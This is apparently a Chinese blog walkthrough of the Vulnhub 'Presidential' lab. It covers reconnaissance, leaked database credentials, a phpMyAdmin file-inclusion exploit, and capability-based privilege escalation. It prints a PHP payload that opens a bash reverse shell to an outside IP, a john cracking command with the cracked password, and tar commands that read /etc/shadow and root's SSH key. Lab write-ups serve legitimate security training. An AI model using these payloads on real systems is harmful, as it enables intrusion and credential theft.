当前位置:网站首页>vulnhub之presidential
vulnhub之presidential
2022-07-03 11:05:00 【梅_花_七】
目录
一、nmap主机发现
做一个基于ping的扫描,其他有点慢
二、端口扫描
三、服务版本发现
四、信息收集
1.主页
至于其他功能,源码处,对我们来说没有太多的作用。
五、目录扫描
挨个查看,都没反应,上面收集到了域名,绑定域名,在尝试。
1.绑定域名
2./config.php.bak
这个里面有107B的数据。在源码下我们发现了数据库的名,账号密码
六、子域名爆破
爆破出来一个database.votenow.local,绑定ip,后访问。
发现一个phpmyadmin的登陆界面,结合我们前面发现的账号密码,登录phpmyadmin。
七、phpmyadmin
1.查看版本
、
2.漏洞搜索
这里有三个漏洞,我们来使用44928.txt文件包含漏洞。
3.文件内容
先利用数据库写入文件,之后来利用文件包含执行文件
4.尝试
注意:将sessions改为session,否则不成功
前边写域名,后面加上session就ok了
八、反弹shell
退出重新登陆获得一个新的session,其余步骤和上述相通
select '<?php system('bash -i >& /dev/tcp/192.168.0.107/8888 0>&1');exit;?>'
九、john的hash值爆破
在phpmyadmin中我们还发现了一个用户名和hash值
admin $2y$12$d/nOEjKNgk/epF2BeAFaMu8hW4ae3JJk8ITyh48q97awT/G7eQ11i
尝试爆破
john hash --wordlist=rockyou.txt
Stella
su admin
并python返回一下shell
十、capability
1.查看具有capability的权限
getcap -r / 2>/dev/null
2.代表意思:
Permitted
这个集合定义了线程所能够拥有的特权的上限,是Inheritable
和Effective
集合的的超集
Effective
内核检查特权操作时,实际检查的集合(可以通过执行操作前增/删Effective
中的capabilities
,以达到临时开/关权限的功能)
3.挨个查看
找到我们admin用户可以执行的命令。tars我们可以执行。
十一、tars提权
1.读取/etc/shadow
读取压缩
tar -cf archive.tar /etc/shadow
解压缩
tar -xf archive.tar
利用里面root的hash值,找字典去碰。找到对的字典应该可以破解出来
2.读取私钥文件
和上面一样来tarS来读取文件,然后解压。放到admin的.ssh下面,然后通过ssh登录,提权成功
ssh -i id_rsa [email protected] -p 2082
拿到flag
边栏推荐
- Kibana~Kibana的安装和配置
- Dynamic programming (interval DP)
- Linear table sequence table comprehensive application problem p18
- Use typora to draw flow chart, sequence diagram, sequence diagram, Gantt chart, etc. for detailed explanation
- CSRF
- POI excel cell wrap
- The uniapp scroll view solves the problems of high adaptability and bullet frame rolling penetration.
- How to clean up v$rman_ backup_ job_ Details view reports error ora-02030
- asyncio 警告 DeprecationWarning: There is no current event loop
- Using onvif protocol to operate the device
猜你喜欢
The excel table is transferred to word, and the table does not exceed the edge paper range
MCDF实验1
Driver development based on I2C protocol
Application of high-precision indoor positioning technology in safety management of smart factory
DS90UB949
Yintai department store ignites the city's "night economy"
外插散点数据
【学习笔记】dp 状态与转移
ASP.NET-酒店管理系統
(database authorization - redis) summary of unauthorized access vulnerabilities in redis
随机推荐
聊聊Flink框架中的状态管理机制
C language AES encryption and decryption
R language uses grid of gridextra package The array function combines multiple visual images of the lattice package horizontally, and the ncol parameter defines the number of columns of the combined g
Driver development based on I2C protocol
PHP Basics
Understand go language context in one article
Slam mapping and autonomous navigation simulation based on turnlebot3
Cacti监控Redis实现过程
repo ~ 常用命令
FL Studio 20无限试用版水果编曲下载
Dynamic programming (interval DP)
[vtk] source code interpretation of vtkpolydatatoimagestencil
抓包整理外篇fiddler———— 会话栏与过滤器[二]
Phpcms prompt message page Jump to showmessage
鸿蒙第四次培训
How to become a senior digital IC Design Engineer (1-2) Verilog coding syntax: Verilog 1995, 2001, 2005 standards
AI模型看看视频,就学会了玩《我的世界》:砍树、造箱子、制作石镐样样不差...
How to: configure ClickOnce trust prompt behavior
Stm32hal library upgrades firmware based on flash analog U disk (detailed explanation)
Leetcode 46: full arrangement